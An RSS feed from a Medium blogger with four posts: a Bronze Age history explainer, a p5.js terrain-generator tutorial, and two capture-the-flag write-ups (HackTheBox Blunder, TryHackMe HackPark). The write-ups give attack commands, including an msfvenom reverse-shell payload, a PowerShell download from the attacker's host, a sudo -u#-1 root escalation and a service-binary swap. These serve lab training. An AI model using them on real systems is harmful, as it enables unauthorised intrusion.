<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by unicks on Medium]]></title>
        <description><![CDATA[Stories by unicks on Medium]]></description>
        <link>https://medium.com/@unicks?source=rss-b27a3ff0e64a------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*sQvbnOKMKwQhhICSp3_GKw.jpeg</url>
            <title>Stories by unicks on Medium</title>
            <link>https://medium.com/@unicks?source=rss-b27a3ff0e64a------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 20:22:51 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@unicks/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Deep diving into the “history of the entire world, i guess” — Pt. 1]]></title>
            <link>https://unicks.medium.com/deep-diving-into-the-history-of-the-entire-world-i-guess-pt-1-25efc117cd79?source=rss-b27a3ff0e64a------2</link>
            <guid isPermaLink="false">https://medium.com/p/25efc117cd79</guid>
            <category><![CDATA[history-of-culture]]></category>
            <category><![CDATA[history]]></category>
            <dc:creator><![CDATA[unicks]]></dc:creator>
            <pubDate>Sat, 19 Dec 2020 15:36:38 GMT</pubDate>
            <atom:updated>2020-12-23T16:28:32.622Z</atom:updated>
            <content:encoded><![CDATA[<h3>Deep diving into the “history of the entire world, i guess” — Pt. 1</h3><p>Bill Wurtz&#39;s “<a href="https://www.youtube.com/watch?v=xuCn8ux2gbs&amp;ab_channel=billwurtz">history of the entire world, i guess</a>” is a masterpiece. In under 20 minutes, he covers hundreds of fascinating events and concepts. The pace is crazy fast, with one-second jingles telling the creation of religions and the fall of civilizations. It is so fast and fun to watch I didn’t realize that if I pause and read about the subjects Bill mentions so briefly I could actually learn a lot.</p><p>In this series, I’m going to take a deep dive into everything I didn’t know prior to watching the video. This part covers the <strong>Bronze Age</strong>.</p><h3>5:11 — The far lands of Tinland</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dW2UGdMhZL3fNT92dTSbdw.png" /><figcaption>“Tired of using lame, sad metal? Introducing bronze! Made with special ingredient tin, from the far lands of Tinland [I don’t know, my dealer won’t tell me where he gets it]”</figcaption></figure><p>Tin is an essential metal in the creation of bronze. The first records of tin usage are about 3000 BCE. The demand for tin rose in the Middle East, where civilizations were advanced but only poisonous arsenical bronze could be crafted. Tin doesn’t come easy. It is 25,000 times rarer than iron and found in mines far away from its clientele. Even though tin was a game-changer, it’s early sources are unknown. The map from the video shows some of the known mining districts, omitting the <a href="https://www.wikiwand.com/en/Ore_Mountains">Ore Mountains</a> which is the earliest known one. The emphasis on the British Isles is not coincidental as it was a [relatively] great tin supplier.</p><h3>5:31 — Norte Chico Civilazation</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fl3RYjjBmHGkxbsojdI3ig.png" /><figcaption>“Norte Chico!”</figcaption></figure><ul><li>It is the oldest known civilization in the Americas, thriving for about 1200 years. First mass settlement signs appear from around 3100 BCE.</li><li>There is little evidence of art, no system of writing, no pottery, and a few signs of social stratification. Peculiar for a civilization spread across 1800 square kilometers with settlements and urban centers.</li><li>Norte Chico is home to unique architecture with <a href="https://8metals.com/wp-content/uploads/2020/06/peru.jpg">stone pyramids and large circular plazas</a>.</li><li>Even though corn is the wheat equivalent in the Americas the Norte Chicas [can I say that?] didn’t grow any. They were mainly based on maritime resources and some plants.</li></ul><h3>5:35 — The people with the horses</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N9Uxx9Rge1kKg2auQ1SMUQ.png" /><figcaption>“Knock knock or clop clop, It’s the people with the horses. And they made an empire. And then everyone else copied their horses”</figcaption></figure><p>These guys are known for being really good at horse domestication, pioneering iron manufacturing, utilizing government officials, and signing the <a href="https://www.wikiwand.com/en/Egyptian%E2%80%93Hittite_peace_treaty">first known peace treaty</a>. The Hittite empire was destroyed by <a href="https://www.wikiwand.com/en/Sea_Peoples">the Sea People</a>, a group of seafarers who ravaged the area for several hundred years. Their origin and motive remain unknown to this day.</p><h3>5:41 — A beta version of the Greeks</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DfRHPjxrs8NKME0PwKEGMg.png" /><figcaption>“Ah look it must be the Greeks, or a beta version of the Greeks”</figcaption></figure><p>Greece had its own bronze age flourish with the Mycenaean Greeks. They spoke the first form of the Greek language, Homer&#39;s epics and most of the Greek mythology takes place in this period, and they had great advancements in architecture and art. This era of Greece was idealized by the later greeks.</p><p>Other Greeks and the mysterious Sea People destroyed the Mycenaean states around 1190 BCE, starting the <a href="https://www.wikiwand.com/en/Greek_Dark_Ages">Greek Dark Ages</a>.</p><h3>5:45 — Where did everybody go?</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BZTEMgvZVwK_-WPPeUUmlQ.png" /><figcaption>“Let’s check in with the Indus River Vally Civilization — they&#39;re gone”</figcaption></figure><p>The Indus River Vally Civilization was <a href="https://youtu.be/n7ndRwqJYDM?t=217">awesome</a> and long-lasting. How did it disappear? No one knows for sure. There are three major speculations:</p><ul><li>They were conquered</li><li>An earthquake changed the course of the river, forcing the inhabitants to flee</li><li>A natural disaster [monsoon for example] might have destroyed the crops</li></ul><h3>5:49 — Hymns and Mantras and stuff</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wy80U6qOHd_OuKq51zhYbw.png" /><figcaption>“New arrivals in India! Maybe it’s these horse people I was talking about, or their cousins or something. And they wrote some hymns and mantras and stuff. You could make a religion out of this.”</figcaption></figure><p>The Vedas are the first collection of Hindu texts, the oldest scriptures of Hinduism. There are four Vedas, each of whom consists of four parts:</p><ul><li>Samhitas — mantras and benedictions</li><li>Aranyakas — texts on rituals, ceremonies, and sacrifices</li><li>Brahmanas — commentaries on rituals, ceremonies, and sacrifices</li><li>Upanishads — texts on meditation, philosophy, and spiritual knowledge</li></ul><p>The Sanskrit word <em>véda </em>means “knowledge, wisdom”. It is believed that <a href="https://www.wikiwand.com/en/Brahma#">Brahma</a> [the creator god in Hinduism] created the Vedas through revelations. The Vedas contains 20,379 mantras and has been orally transferred since the beginning of its composition around 1500 BCE. This kind of memorization ability can barely be seen today.</p><p>Take a peek at a hymn from the first Veda, the Rig Veda:</p><blockquote>The human body is the temple of God.<br>One who kindles the light of awareness within<br>gets true light.<br>The sacred flame of your inner shrine<br>is constantly bright.<br>The experience of unity<br>is the fulfillment of human endeavors.<br>The mysteries of life are revealed.</blockquote><h3>6:02 — The end of the world as we know it</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-DM9Wp1O049295Qzkxu4Hw.png" /><figcaption>“There’s the bronze age collapse”</figcaption></figure><p>Around 1200–1150 BCE, in a span of a generation or two, almost all of the civilizations in the Near East were destroyed [the Egyptians were severely damaged but not demolished]. The reason for this mass destruction is unknown. Theories claim a wide variety of reasons, from the Sea People to mass earthquakes and trade disruptions. The scale and pace of this event make it one of the greatest mysteries of human history.</p><h3>6:03 — It’s business time</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*alSl1brpCTkzpTnRtrWt4Q.png" /><figcaption>“Now the Phoenicians can get down to business!”</figcaption></figure><p>The Phoenicians were merchants based in today&#39;s Lebanon, and they were very skilled at sea trade. The Bronze Age Collapse left a power vacuum in the Near East, which led to decades of Phoenician dominance over the trading routes in the Mediterranian Sea. The Phoenician alphabet was absorbed into the Greek alphabet, but it’s not the only alphabet that existed in that period.</p><h3>Our minute is up</h3><p>I learned a lot about the rise and fall of civilizations in the Bronze Age, and all of this was hidden between 5:11 and 6:13.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=25efc117cd79" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackTheBox — Blunder Writeup]]></title>
            <link>https://unicks.medium.com/hackthebox-blunder-writeup-4c995a6178b2?source=rss-b27a3ff0e64a------2</link>
            <guid isPermaLink="false">https://medium.com/p/4c995a6178b2</guid>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[unicks]]></dc:creator>
            <pubDate>Fri, 06 Nov 2020 11:28:10 GMT</pubDate>
            <atom:updated>2020-11-06T11:28:10.371Z</atom:updated>
            <content:encoded><![CDATA[<h3>HackTheBox — Blunder Writeup</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/361/1*SwrTblqYJe-1rGwqGup5ow.png" /></figure><h4>Initial Scan &amp; FTP</h4><p>I started with a fast nmap scan:</p><pre>nmap -A -T4 -oN initial_scan.txt 10.10.10.191</pre><p>Which returned this information:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/596/1*Py-V0FusF02AWH4lDuGXzQ.png" /></figure><p>Afterward, I ran a scan of all TCP ports, but it didn’t provide new information.</p><p>I tried to contact with the ftp service in several ways, which is quite stupid in retrospect as the scan shows it is closed.</p><h4>Poking Around the Website</h4><p>I connected to the website and started looking around while gobuster was running:</p><pre>gobuster dir -u 10.10.10.191 -w /usr/share/wordlists/dirb/big.txt -o big_root_gobust.txt -x txt,php,html</pre><p>The scan revealed two interesting pages. The first is <strong>/todo.txt</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/561/1*BqUiKwbKaqlyUS7UxbsOQg.png" /></figure><p>This gives us the notion the exploit has something to do with the CMS version and maybe images.</p><p>The second interesting page is the CMS admin login page, <strong>/admin</strong>.</p><p>Before we go any further let’s find out the CMS version. A peek at the source code reveals this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*vPnMVpQiZrgrtrfgdM8xxA.png" /></figure><p>The version is added as a request parameter to the resource GET requests probably for caching reasons.</p><h4>Bruteforcing the CMS Login</h4><p>This CMS version has <a href="https://www.cvedetails.com/vulnerability-list/vendor_id-17229/product_id-41420/version_id-334039/Bludit-Bludit-3.9.2.html">three recorded CVEs</a>, two of them are relevant to us. The <a href="https://www.exploit-db.com/exploits/48746">first</a> is an authentication brute-force mitigation bypass. We should be locked out after 10 login attempts, but we can spoof our address easily and pass that limit. More details <a href="https://rastating.github.io/bludit-brute-force-mitigation-bypass/">here</a>.</p><p>At first, the exploit didn’t work for me. Removing the WebAgent class fixed it.</p><ol><li>A quick <a href="https://www.google.com/search?q=bludit+admin+default+password&amp;oq=bludit+admin+de&amp;aqs=chrome.0.35i39j69i57j0.3533j0j4&amp;sourceid=chrome&amp;ie=UTF-8">google search</a> showed that <strong>admin</strong> is the default username in Bludit, so I used it with rockyou.txt.</li><li>Then I decided to change the username to <strong>fergus</strong>. It’s the guy from the note we found before.</li><li>When that didn’t work I generated a wordlist using <a href="https://github.com/digininja/CeWL">CeWL</a>. It worked without any modification.</li></ol><h4>Gaining Access</h4><p>Now that I have the CMS creds I can use the second CVE with a <a href="https://www.rapid7.com/db/modules/exploit/linux/http/bludit_upload_images_exec">Metasploit </a>module. It uploads an image with a malicious payload and uses a crafted .htaccess file to bypass the file extension check and execute the code.</p><h4>Privesc to Hugo</h4><p>Printing /etc/passwd shows two interesting users, Hugo and Shaun. To read the user.txt file I need to become Hugo, so he is the target.</p><p>I looked in several places on the serves, including the long-awaited /ftp:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*7eGJ6pd8wQ8QkZht6AA6HQ.png" /></figure><p>The file note.txt contains this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*8vh9tlRNyNxW86jKOu5Z-A.png" /></figure><p>I tried looking for another occurrence of the files in the /ftp directory and failed. I even tried some stego on these poor files.</p><p>The rescue came with linPEAS which brought my attention to this file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zlm3HTxlsMWqn650YncveQ.png" /></figure><p>For some reason, there is a copy of the website with a newer CMS version, but this time the user recorded is Hugo and not Fergus. Hugo’s mistake was to use the same password for the CMS and the server. I used <a href="https://crackstation.net/">crackstation</a> to crack the password hash and switched to Hugo with <strong>su</strong>.</p><h4>Privesc to Root</h4><p>To run <strong>sudo -l</strong> and a bunch of other reasons I need to have a TTY. To do so I need to create a reverse shell and upgrade it. I used the netcat one-liner and upgraded with python, you can find the commands <a href="https://nickbhe.gitbook.io/shikata-ga-nai-1/gaining-access/reverse-shell">here</a>.</p><p><strong>Sudo -l</strong> reveals this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FIhmEsl6D7hmUeczv1Oviw.png" /></figure><p>I can execute bash as whoever I want unless it’s root.</p><p>At this point, I made a mistake and switched to Shaun. He had some interesting properties, like being part of the <strong>lxd</strong> group. After some messing around I decided to try and look at Hugo’s sudo priveledges from a new perspective. I found out <a href="https://medium.com/r?url=https%3A%2F%2Fwww.exploit-db.com%2Fexploits%2F47502">this</a> vulnerability for sudo up to version 1.8.27. Armed with this weapon a simple command made me root:</p><pre>sudo -u#-1 /bin/bash</pre><p>Cheers!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4c995a6178b2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe — HackPark Writeup]]></title>
            <link>https://unicks.medium.com/tryhackme-hackpark-writeup-db34b7957bef?source=rss-b27a3ff0e64a------2</link>
            <guid isPermaLink="false">https://medium.com/p/db34b7957bef</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[unicks]]></dc:creator>
            <pubDate>Sat, 04 Apr 2020 16:06:27 GMT</pubDate>
            <atom:updated>2020-04-04T16:06:27.622Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe — HackPark Writeup</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*2jXQNvlJVcweNzoKnlVh2A.png" /></figure><p>Try it for yourself <a href="https://tryhackme.com/room/hackpark">here</a>.</p><h4>Deployment and reverse image search</h4><p>After the machine deployed I opened the website and got prompted by this friendly clown:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*B7yfpwdm4cpw2lEsVc-ZVQ.png" /></figure><p>I guess most of you recognized him right off the bat as <strong>Pennywise</strong> from the Movie IT. I didn’t, so I used <strong>reverse image search</strong> to find who he is. Google didn’t provide any good output, but <a href="https://tineye.com/">TinEye</a> did.</p><h4>Login brute force with Hydra</h4><p>The website has a login section. TryHackMe prompts us to guess a user name, so we’ll use good old “admin”. Here’s the Hydra command to brute-force the web form:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*86_vcX7GlW83D_RJ7Be2SQ.png" /><figcaption>Don’t panic, it’s not really complicated</figcaption></figure><p>Most of the command consists of the string after “http-post-form”. This string has <strong>three parts divided by colons</strong> — “path to the login form page : request body : error message indicating failure”</p><p>To get this information open the networks tab in the developer tools, send one login request with random credentials and inspected it by clicking “Edit and Resend”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*KYYHNgzWhG7WIX34ftzjZg.png" /></figure><p>The request body can be found in the “Request Body” section at the bottom. Before pasting it in the terminal we need to <strong>find where the credentials are used</strong>, so hydra would know to insert it’s guessing there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/1*ZNKPjlHz2YTqV8VzmRh5Lw.png" /><figcaption>Now I can replace the “asdf” I entered with ^USER^ and ^PASS^ for Hydra</figcaption></figure><p>One last piece of information Hydra needs is a message indicating failure, so it could tell when the guessed password is correct. At login failure, the site prompts us with “Login failed”. That’s exactly the string We need.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/374/1*psLW3mIxcpHF7gq2ui6_JQ.png" /></figure><p>After running Hydra and obtaining the password We can log into BlogEngine as admin 🔥</p><h4>Compromise the machine</h4><p>The first thing to be done is to check the version of BlogEngine. It can be found in the “About” tab. A quick google search of this version revealed <a href="https://docs.google.com/document/d/1WSpHTVL9uOSNgnZy_NCWStUxB5N33dlPbRRunnkrEqM/edit?usp=sharing">this exploit</a> in exploit-db.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wu-2Ss4-Tquj9mIeqzAv1w.png" /><figcaption>Example search for an exploit with the “searchsploit” command on Kali Linux. We’ll use the fourth result.</figcaption></figure><p>Inside the exploit, a comment specified exactly what we needed to do to get this running. Firstly change the address and port of the attacker to yours.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*yhTB0Rv3CcQEXTWyB22Rtw.png" /></figure><p>Rename the exploit to <strong>PostView.ascx</strong>. It should be uploaded via editing a post:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*V9U_-M_vok4Afup3c1FN1A.png" /><figcaption>To upload the file edit the only post on the website and click the folder icon marked above</figcaption></figure><p>To get the reverse shell we only need to start a Netcat listener and navigate to <a href="http://10.10.10.10/?theme=../../App_Data/files."><strong>http://10.10.10.10/?theme=../../App_Data/files</strong>.</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*MaoEFRSaQ7p5byXc5ZzipQ.png" /><figcaption>There is nothing prettier than getting a reverse shell</figcaption></figure><p>By running <strong>whoami</strong> we see that the server is running as “iis apppool\blog”.</p><p><strong>Privilege Escalation [without Metasploit]</strong></p><p>Before scanning the machine to find a way to escalate privileges, Let’s get a stable shell. We will create a reverse shell executable with <strong>msfvenom:</strong></p><pre>msfvenom -p windows/shell_reverse_tcp -a x86 --encoder /x86/shikata_ga_nai LHOST=[your_ip] LPORT=[listening_port] -f exe -o [shell_name.exe]</pre><p>Now the payload is ready. Start a small server so the machine would be able to download the executable with python3 -m http.server.</p><p>We don’t have write permissions to the current folder, so before downloading navigate to C:\Windows\Temp. To download use this command:</p><pre>powershell &quot;(New-Object System.Net.WebClient).Downloadfile(&#39;http://[your_ip]:[listening_port]/[shell_name.exe]&#39;)&quot;</pre><p>amazing. Now listen on the port you specified previously and run the executable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*d9uaWC1BZ1TkhyCwVD8YFQ.png" /><figcaption>A stable reverse shell</figcaption></figure><p>The same way we sent this reverse shell we can send an enumeration script. I used <a href="https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASbat">winPEAS</a>.</p><p>Analyzing the results of the enumeration took a while. Under the “Running Processes” section exists a service name “Message.exe”. Further inspection shows that it keeps on running and stopping repeatedly. If we can replace Message.exe with our reverse shell script we can get a shell with higher privileges.</p><p>Message.exe can be found under C:\Program Files (x86)\SystemScheduler. Rename Message.exe to Message.bak, send your shell and rename it to Message.exe. Don’t forget to listen on the port you specified!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c1OBVugA03uzdR6CRvGz7g.png" /></figure><p>Wait for a little, and voila! we have a shell. running whoami returns:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/521/1*lklurv4YHi5ScOuNmAD95A.png" /></figure><p>These permissions are enough to access both “jeff” and “Administrator” that hold the user and root flags.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=db34b7957bef" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Creating a 2D Terrain Generator with p5.js]]></title>
            <link>https://unicks.medium.com/creating-a-2d-terrain-generator-with-p5-js-2fcbe3157459?source=rss-b27a3ff0e64a------2</link>
            <guid isPermaLink="false">https://medium.com/p/2fcbe3157459</guid>
            <category><![CDATA[p5js]]></category>
            <category><![CDATA[javascript]]></category>
            <dc:creator><![CDATA[unicks]]></dc:creator>
            <pubDate>Thu, 02 Apr 2020 10:35:15 GMT</pubDate>
            <atom:updated>2020-04-04T16:26:38.744Z</atom:updated>
            <content:encoded><![CDATA[<p>You can look at the source code and play with the generator <a href="https://editor.p5js.org/CyborgNick/sketches/zgKLINk8S">here</a>. The story of creating it goes like this -</p><h4>Part 1 — Perlin Noise</h4><p>The idea for the mini-project emerged after I watched part of a great <a href="https://www.youtube.com/watch?v=Qf4dIN99e2w&amp;list=PLRqwX-V7Uu6bgPNQAdxQZpJuJCjeOr7VD">Youtube series about Perlin Noise</a>. I’ll explain here the basics you need to know for this paper, but I really recommend you watch the series to get a better understanding of Perlin Noise.</p><p>Perlin Noise [I’ll call it noise from now on] can be used to create random smooth surfaces.</p><p>How? Let’s imagine a grid. The x-axis represents time while the y-axis represents a value between 0 and 1. Every millisecond a new semi-random value is generated, while the new value is close to the previous one. This is different from true randomness in which there is no connection between adjacent values. A noise grid looks like <a href="https://editor.p5js.org/CyborgNick/present/PVkau4FzH">this</a>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/496/1*wX_TTlUHSmL834UjFefE0A.png" /><figcaption>One dimensional Perlin Noise over time</figcaption></figure><p>Noise values can be generated for every amount of dimensions, but we need only two.</p><p>We generated a 2D noise surface and used these values to color the terrain. p5.js has a <a href="https://p5js.org/reference/#/p5/noise">noise function</a> that receives coordinates and returns the Perlin Noise value for that location on an imaginary noise grid created by p5.js. The same coordinates will return the same value until you reload the p5.js canvas. The farther away the coordinates are, so are the values. The code looks somewhat like this:</p><pre>function setup() {<br>  createCanvas(550, 550);<br>  pixelDensity(1);<br>}</pre><pre>function draw() {<br>  loadPixels() ;<br>  for (var x = 0; x &lt; width; x++) {<br>    var yoff = 0;<br>    for (var y = 0; y &lt; height; y++) {<br>      var index = (x + (y * width)) * 4;<br>      var pxHeight = calculateHeight(xoff, yoff);<br>      pxHeight = normalize(pxHeight, x, y);<br>      colorPixel(index, pxHeight);<br>      yoff += density;<br>    }<br>    xoff += density;<br>  }<br>  updatePixels();<br>}</pre><pre>function calculateHeight(xoff, yoff) {<br>  var doubleAmplitude = 7000, amlitudeReductionRatio = 0.1;<br>  return (noise(xoff, yoff) * doubleAmplitude) - (doubleAmplitude * amlitudeReductionRatio);<br>}</pre><pre>function colorPixel(index, pxHeight) {<br>  var r, g, b;<br>  if (pxHeight &lt;= 0) {r = 38; g = 196; b = 201;}<br>  else if(pxHeight &lt; 50) {r = 143; g = 237; b = 138;}<br>  else if(pxHeight &lt; 100) {r = 83; g = 235; b = 75;}<br>  else if(pxHeight &lt; 250) {r = 39; g = 140; b = 34;}<br>  else if(pxHeight &lt; 500) {r = 11; g = 122; b = 5;}<br>  else if(pxHeight &lt; 1000) {r = 179; g = 110; b = 57;}<br>  else if(pxHeight &lt; 1500) {r = 158; g = 90; b = 38;}<br>  else if(pxHeight &lt; 2000) {r = 120; g = 75; b = 7;}<br>  else {r = 222; g = 222; b = 222;}<br>  pixels[index+0] = r;<br>  pixels[index+1] = g;<br>  pixels[index+2] = b;<br>  pixels[index+3] = 255;<br>}</pre><p>The noise calculation can be seen in the draw() function. calculateHeight() takes the noise values and changes their scale to represent meters. It also subtracts all the values, so some of them would be under zero [represents sea level]. colorPixel() is a simple if-else statement to color every pixel by the calculated height.</p><p>As soon as we ran the code we sensed that something was wrong:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*dfDHWtodLL8c76jF1dKgUg.png" /></figure><p>This looks like a part of a bigger map! We want a whole map, not a part of it, so we have to get rid of land on the edges of the canvas.</p><h4>Part 2 — Cutting the edges</h4><p>To get rid of the ground on the edges we decided to set the height of all the locations outside of the largest circle that can be drawn to zero.</p><pre>var distanceFromMiddle = Math.sqrt(Math.pow(x - (width / 2), 2) + Math.pow(y - (height / 2), 2));<br>var newHeight = baseHeight;<br>if (distanceFromMiddle + 1 &gt;= width / 2) {<br>  newHeight = 0;<br>}</pre><p>The result was terrifying:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*ebrq4Lo4gRrHxI2d4yf4XA.png" /></figure><p>Obviously, the problem is the sudden cut. To deal with that we “normalized” the terrain by reducing the height of every location depending on its distance from the middle. We tried several methods to do so and finally settled on reducing with log:</p><pre>function normalizeByLog(pxHeight , distanceFromMiddle) {<br>  return pxHeight * Math.log(width / 2 - distanceFromMiddle) / Math.log(width / 2); <br>}</pre><p>That improved the map, but still — no matter how hard we tried, the circle was too obvious:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*lM7qZP2lRM4UwWphOrbq9w.png" /></figure><h4>Part 3 — The lie</h4><p>The solution to this was quite simple, we lied to our own functions. We slightly increased the height sent to the normalization function, and then decreased by the same value when coloring the canvas. Here are the modified lines from the draw() function:</p><pre>pxHeight = normalize(pxHeight + lie, x, y);<br>colorPixel(index, pxHeight - lie);</pre><p>The result was… Gorgeous:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*ql7Nfai9slS-6o-8akMdXw.png" /></figure><p>Finally!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2fcbe3157459" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>